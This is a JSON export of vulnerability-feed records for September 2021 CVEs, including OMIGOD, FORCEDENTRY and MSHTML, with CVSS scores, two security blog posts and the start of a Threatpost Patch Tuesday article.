"version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-15T12:15:00", "type": "prion", "title": "CVE-2021-38647", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2023-08-08T14:21:00", "id": "PRION:CVE-2021-38647", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-38647", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-16T03:05:22", "description": "An integer overflow was addressed with improved input validation. This issue is fixed in Security Update 2021-005 Catalina, iOS 14.8 and iPadOS 14.8, macOS Big Sur 11.6, watchOS 7.6.2. Processing a maliciously crafted PDF may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-08-24T19:15:00", "type": "prion", "title": "CVE-2021-30860", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30860"], "modified": "2022-09-30T15:05:00", "id": "PRION:CVE-2021-30860", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-30860", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-16T07:11:26", "description": "Microsoft MSHTML Remote Code Execution Vulnerability", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-15T12:15:00", "type": "prion", "title": "CVE-2021-40444", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-10-14T11:49:00", "id": "PRION:CVE-2021-40444", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-40444", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-15T19:54:24", "description": "Xpdf prior to version 4.04 contains an integer overflow in the JBIG2 decoder (JBIG2Stream::readTextRegionSeg() in JBIG2Stream.cc). Processing a specially crafted PDF file or JBIG2 image could lead to a crash or the execution of arbitrary code. This is similar to the vulnerability described by CVE-2021-30860 (Apple CoreGraphics).", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-08-22T19:15:00", "type": "prion", "title": "CVE-2022-38171", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.4, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.4, "vectorString": "AV:L/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30860", "CVE-2022-38171"], "modified": "2022-10-27T20:27:00", "id": "PRION:CVE-2022-38171", "href": "https://kb.prio-n.com/vulnerability/CVE-2022-38171", "cvss": {"score": 4.4, "vector": "AV:L/AC:M/Au:N/C:P/I:P/A:P"}}], "mscve": [{"lastseen": "2023-06-14T15:25:02", "description": "Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-36975.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-14T07:00:00", "type": "mscve", "title": "Win32k Elevation of Privilege Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-36975", "CVE-2021-38639"], "modified": "2021-09-23T07:00:00", "id": "MS:CVE-2021-38639", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38639", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-14T15:25:06", "description": "Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-38639.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-14T07:00:00", "type": "mscve", "title": "Win32k Elevation of Privilege Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-36975", "CVE-2021-38639"], "modified": "2021-09-23T07:00:00", "id": "MS:CVE-2021-36975", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36975", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-14T15:26:09", "description": "Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "cvss3": {"exploitabilityScore": 0.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "PHYSICAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 4.6, "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-04-13T07:00:00", "type": "mscve", "title": "Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "LOW", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.1, "vectorString": "AV:L/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28316"], "modified": "2021-04-13T07:00:00", "id": "MS:CVE-2021-28316", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28316", "cvss": {"score": 2.1, "vector": "AV:L/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-06-14T15:25:07", "description": "Windows WLAN AutoConfig Service Remote Code Execution Vulnerability", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-14T07:00:00", "type": "mscve", "title": "Windows WLAN AutoConfig Service Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-36965"], "modified": "2021-09-23T07:00:00", "id": "MS:CVE-2021-36965", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36965", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-14T15:25:03", "description": "Open Management Infrastructure Remote Code Execution Vulnerability", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-14T07:00:00", "type": "mscve", "title": "Open Management Infrastructure Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2021-09-20T07:00:00", "id": "MS:CVE-2021-38647", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38647", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-14T15:25:09", "description": "Microsoft is investigating reports of a remote code execution vulnerability in MSHTML that affects Microsoft Windows. Microsoft is aware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents.\n\nAn attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\n\nMicrosoft Defender Antivirus and Microsoft Defender for Endpoint both provide detection and protections for the known vulnerability. Customers should keep antimalware products up to date. Customers who utilize automatic updates do not need to take additional action. Enterprise customers who manage updates should select the detection build 1.349.22.0 or newer and deploy it across their environments. Microsoft Defender for Endpoint alerts will be displayed as: \u201cSuspicious Cpl File Execution\u201d.\n\nUpon completion of this investigation, Microsoft will take the appropriate action to help protect our customers. This may include providing a security update through our monthly release process or providing an out-of-cycle security update, depending on customer needs.\n\nPlease see the **Mitigations** and **Workaround** sections for important information about steps you can take to protect your system from this vulnerability.\n\n**UPDATE** September 14, 2021: Microsoft has released security updates to address this vulnerability. Please see the Security Updates table for the applicable update for your system. We recommend that you install these updates immediately. Please see the FAQ for important information about which updates are applicable to your system.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-07T07:00:00", "type": "mscve", "title": "Microsoft MSHTML Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-08-16T07:00:00", "id": "MS:CVE-2021-40444", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40444", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "avleonov": [{"lastseen": "2021-11-26T18:43:30", "description": "Hello everyone! This time, let's talk about recent vulnerabilities. I'll start with Microsoft Patch Tuesday for September 2021. I created a report using my Vulristics tool. You can see [the full report here](<https://avleonov.com/vulristics_reports/ms_patch_tuesday_september2021_report_avleonov_comments.html>).\n\nThe most interesting thing about the September Patch Tuesday is that the top 3 VM vendors ignored almost all RCEs in their reviews. However, there were interesting RCEs in the Office products. And what is most unforgivable is that they did not mention CVE-2021-38647 RCE in OMI - Open Management Infrastructure. Only ZDI wrote about this.\n\n## Microsoft Patch Tuesday September 2021\n\n### OMIGOD\n\n[Dubbed \u201cOMIGOD\u201d by researchers at Wiz.io](<https://www.infosecurity-magazine.com/news/microsoft-fixes-omigod-mshtml/>), the bugs could enable a remote attacker to gain root access to Linux virtual machines running on Azure. \u201cWe conservatively estimate that thousands of Azure customers and millions of endpoints are affected. In a small sample of Azure tenants we analyzed, over 65% were unknowingly at risk,\u201d the firm warned. \n\nSo, OMIGOD RCEs and EOPs with detected exploitation in the wild are in the Vulristics TOP. What else?\n\n### Chrome/Chromium/Edge RCE\n\nAn exploitation in the wild has been seen for Chrome/Chromium/Edge vulnerability CVE-2021-30632. Still no comments from the VM vendors, only from ZDI.\n\n### WLAN AutoConfig RCE\n\nOnly Qualys and ZDI mentioned CVE-2021-36965 Remote Code Execution in Windows WLAN AutoConfig Service. "This would be highly useful in a coffee shop scenario where multiple people are using an unsecured WiFi network."\n\nAlso note several EOPs in Windows Kernel, Windows Common Log File System Driver and Windows Print Spooler.\n\n### MSHTML RCE\n\nBut of course, people were mostly waiting for fixes for a vulnerability that wasn't released on Patch Tuesday, but a week ago. However, the updates only became available on September 14th. It is CVE-2021-40444 Microsoft MSHTML Remote Code Execution Vulnerability. "\u0410 critical zero-day RCE vulnerability in Microsoft\u2019s MSHTML (Trident) engine that was exploited in the wild in limited, targeted attacks". "To exploit this vulnerability, an attacker would need to create a specially crafted Microsoft Office document containing a malicious ActiveX control". Well, people are saying that ActiveX is not being used in new exploits for this vulnerability. This is serious, consider this in your anti-phishing programs and, of course, install patches.\n\n## Non-Microsoft vulnerabilities\n\nI would also like to say a few words about [other recent non-Microsoft vulnerabilities](<https://avleonov.com/vulristics_reports/september_2021_other_report_avleonov_comments.html>).\n\n### Confluence RCE\n\nI would like to mention the massively exploited CVE-2021-26084 Confluence RCE. A week passed between the release of the newsletter and the public exploit. If your organization has Confluence, keep an eye on it and never make it available at the perimeter of your network.\n\n### Ghostscript RCE\n\nAlso, the "[Ghostscript provider Artifex Software released a security advisory](<https://www.jpcert.or.jp/english/at/2021/at210039.html>) regarding a vulnerability (CVE-2021-3781) that allows arbitrary command execution in Ghostscript. On a server running Ghostscript, an attacker may execute arbitrary commands by processing content that exploits this vulnerability". There is a [public exploit](<https://github.com/duc-nt/RCE-0-day-for-GhostScript-9.50>) for this vulnerability. Ask your developers if they use it to process SVG files.\n\n### Pegasus FORCEDENTRY macOS RCE\n\nAnd finally the RCE CVE-2021-30860 FORCEDENTRY vulnerability that was used in Pegasus spyware. The exploit that was spotted in the wild relies on malicious PDF files. The vulnerability became famous mainly because of iPhone attacks, but t[here are also patches for macOS Big Sur 11.6 and 2021-005 Catalina](<https://nakedsecurity.sophos.com/2021/09/14/apple-products-vulnerable-to-forcedentry-zero-day-attack-patch-now/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-18T23:22:00", "type": "avleonov", "title": "Security News: Microsoft Patch Tuesday September 2021, OMIGOD, MSHTML RCE, Confluence RCE, Ghostscript RCE, FORCEDENTRY Pegasus", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2021-30632", "CVE-2021-30860", "CVE-2021-36965", "CVE-2021-3781", "CVE-2021-38647", "CVE-2021-40444"], "modified": "2021-09-18T23:22:00", "id": "AVLEONOV:5945665DFA613F7707360C10CED8C916", "href": "https://avleonov.com/2021/09/19/security-news-microsoft-patch-tuesday-september-2021-omigod-mshtml-rce-confluence-rce-ghostscript-rce-forcedentry-pegasus/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-06-11T01:56:16", "description": "Hello everyone! In this episode, I want to talk about the Positive Hack Days 11 conference, which took place on May 18 and 19 in Moscow. As usual, I want to express my personal opinion about this event.\n\nAlternative video link (for Russia): <https://vk.com/video-149273431_456239091>\n\nAs I did last year, I want to start talking about this conference with a few words about the sanctions. US sanctions against Positive Technologies, the organizers of Positive Hack Days, were introduced a year ago. At that time it seemed very serious and extraordinary. But today, when our country has become the most sanctioned country in the world, those sanctions against Positive Technologies seem very ordinary and unimportant. In fact, it even seems to benefit the company somehow.\n\n## Positive Technologies\n\nAt the end of last year, Positive Technologies became a public company with a strong focus on the domestic market and the market of friendly countries. The financial results are very impressive. The company's marketing is better than ever, especially everything related to video production. And, of course, their products are in even greater demand, because Western vendors have left the Russian market.\n\n## PHDays 11\n\nAs for the event, it is still the most important information security conference in Russia. In fact it was the most visited PHDays. 10,000+ guests at the Moscow World Trade Center, 130,000+ viewers of online broadcasts. I was only on the second day, when it was not as crowded as the first day of the conference. The atmosphere at the event was not the same as at a regular conference. It was more like a nightclub. Subdued lights, music, a lot of screens and all sorts of lighting effects. Very unusual.\n\n## The Standoff\n\nThe main show of the conference is the CTF competition of hackers and blue teams, The Standoff. The toy city, which displays the infrastructure of the virtual state of F, has become really huge. Entire sectors of the economy were represented there: metallurgy, electric power industry, oil industry, transport, banking system, housing management. etc. All this is interconnected. An attack on one object can cause a butterfly effect that affects the entire state. Very impressive!\n\n## Talks\n\nThe PHDays 11 program included about 100 talks, which were attended by more than 250 speakers. One of them was me. It makes no sense to list all the talks, but logically I would highlight out 3 of them.\n\n 1. Sergey Golovanov "[01111111day](<https://www.youtube.com/watch?v=p6-4Ky7uy_E>)**"** ([rus](<https://www.youtube.com/watch?v=8e-VRSzRHVg>)). He spoke about the attacks on Russian organisations after February 23rd. To summarize all that has been said, the number of attacks has become much greater. The source of the attacks is clear. Most of the attacks were simple and it was hacktivism, but they get more complicated with time. The main attacks are DDoS and penetration into the infrastructure for further data theft and destruction. Phishing is one of the commonly used penetration channels.\n 2. Alexander Goncharov "[CVE-2021-40444: why it is important](<https://www.youtube.com/watch?v=knCqmDoELjM>)" ([rus](<https://www.youtube.com/watch?v=8e-VRSzRHVg>)). Microsoft MSHTML Remote Code Execution Vulnerability. This is not the newest vulnerability, one of many. But in fact, it continues to be actively exploited, and mainly through phishing. Why? Since users are susceptible to phishing, hosts are not updated and hardened (disabling ActiveX, preventing office applications from creating child processes). And all this, of course, needs to be implemented in organizations. But one of the interesting questions is: can we now trust vendor updates that fix vulnerabilities? Alexander replied that we can, because enterprise IT vendors like Microsoft will not disable anything in terms of functionality. Simply because it will be a blow to their reputation.\n 3. And my presentation was just about this topic of trust. "[The new reality of information security and vulnerability management](<https://www.youtube.com/watch?v=phL8ClOLpqo>)" ([rus](<https://www.youtube.com/watch?v=XbAxuikX_eE>)). You can watch the video in my YouTube channel in Russian and with simultaneous translation. Simultaneous translation is difficult to do, especially in the fast track, so I will also make an extended English version of this report for [VMconf 22](<https://vmconf.pw/>). By the way, you can also submit a video about Vulnerability Management there if you want. So what was my report about. The new reality of information security (TNRoIS) began in February 2022. In this new reality, global vendors and open source software are less trusted than before. What was only recently viewed as a competitive product or service, has become a means of pressure, a Trojan horse, a threat to corporate information security. The new reality sets new requirements for key corporate processes, including the choice of IT products and information security solutions, security analysis, and update management. The forced de-Westernization of the IT infrastructure of Russian companies will not happen overnight. This is a long and difficult process. For example, is it true that by 2025 there will be no Microsoft software in Russian companies and everything will work on Russian Linux distributions? Now it seems too ambitious. Most likely we will see some kind of hybrid mode with a complex process of supporting unstable Western IT solutions and a simplified process for stable, mainly Russian IT solutions. Of course, it will be much more difficult than it was before, but there is a challenge in these difficulties. The problems faced by the Russian organizations in extreme form are relevant to much of the world, which means that certain terminology, approaches, and solutions can be successfully exported. \n\n## What could be better on PHDays 11?\n\nWell, there were few speeches about Vulnerability Management. For my taste. There was my presentation, there were a couple of speeches about specific vulnerabilities and rootkits, there was a [basic interview about Vulnerability Management](<https://www.youtube.com/watch?v=Scod5yQiKtM>) ([rus](<https://www.youtube.com/watch?v=Cgbq1qG_CZQ>)) and an interview about [MaxPatrol O2](<https://www.youtube.com/watch?v=hCSK0wi-KRU>) ([rus](<https://www.youtube.com/watch?v=SAt_gedhXw8>)). But it was very fragmented. It seems to me that the main conference of the leading Russian Vulnerability Management vendor should have a session or maybe even a track about Vulnerability Management. At least 2-3 hours. It would be nice to have a program that would resemble [Qualys QSC](<https://avleonov.com/2021/12/06/qsc21-vmdr-training-and-exam/>). After all, they talk about VM all day, why is it not possible on PHDays? Ideally, if there would be 80% about interesting practical cases and processes and 20% about how to solve them using Positive Technologies products (as a demonstration). That would be really cool and that would be right.\n\nIt may sound silly, but I missed bag chairs and sofas. There were far fewer of them. In past years, I liked to sit on them, relax and talk with colleagues. This time all the conversations were on the feet and it was not very convenient.\n\nIt seems like PHDays needs more space. There were practically no seats left in the halls. The fast track where I performed was in a tiny hall, which is not so easy to find. The organizers said that it did not happen on purpose. The schedule was changed at the last moment and the Fast Track had to be moved from a more convenient place. It's a bit sad, but the fact that full-length reports are a priority is right. And in our post-COVID time, the most important thing is video broadcasting, and it was at a very high level. My presentation went well, the audience was friendly, there were some very interesting questions.\n\nMany thanks to the organizers and participants. Until the next PHDays!", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-06-11T00:46:58", "type": "avleonov", "title": "PHDays 11: towards the Independence Era", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-06-11T00:46:58", "id": "AVLEONOV:44DF3C4B3D05A7DC39FB6314F5D94892", "href": "https://avleonov.com/2022/06/11/phdays-11-towards-the-independence-era/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "threatpost": [{"lastseen": "2021-09-16T18:44:44", "description": "In [September\u2019s Patch Tuesday](<https://msrc.microsoft.com/update-guide/vulnerability>) crop of security fixes, Microsoft released patches for 66 CVEs, three of which are rated critical, and one of which \u2013 the Windows MSHTML zero-day \u2013 has been under active attack for nearly two weeks.\n\nOne other bug is listed as publicly known but isn\u2019t (yet) being exploited. Immersive Labs\u2019 Kevin Breen, director of cyber threat research, observed that with only one CVE under active attack in the wild, it\u2019s \u201cquite a light Patch Tuesday\u201d \u2013 at least on the surface, that is.\n\nThe flaws were found in Microsoft Windows and Windows components, Microsoft Edge (Chromium, iOS, and Android), Azure, Office and Office Components, SharePoint Server, Microsoft Windows DNS and the Windows Subsystem for Linux.\n\n[![Infosec Insiders Newsletter](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/10165815/infosec_insiders_in_article_promo.png)](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nOf the 66 new CVEs patched today, three are rated critical, 62 are rated important, and one is rated moderate in severity.\n\nOver the past nine months of 2021, this is the seventh month in which Microsoft patched fewer than 100 CVEs, in stark contrast to 2020, when Redmond spent eight months gushing out more than 100 CVE patches per month. But while the overall number of vulnerabilities is lighter, the severity ratings have ticked up, as the [Zero Day Initiative](<https://www.zerodayinitiative.com/blog/2021/9/14/the-september-2021-security-update-review-kpgpb>) noted.\n\nSome observers pegged the top patching priority in this month\u2019s batch as being a fix for CVE-2021-40444: An important-rated vulnerability in Microsoft\u2019s MSHTML (Trident) engine that rates 8.8 out of 10 on the CVSS scale.\n\nDisclosed on Sept. 7, 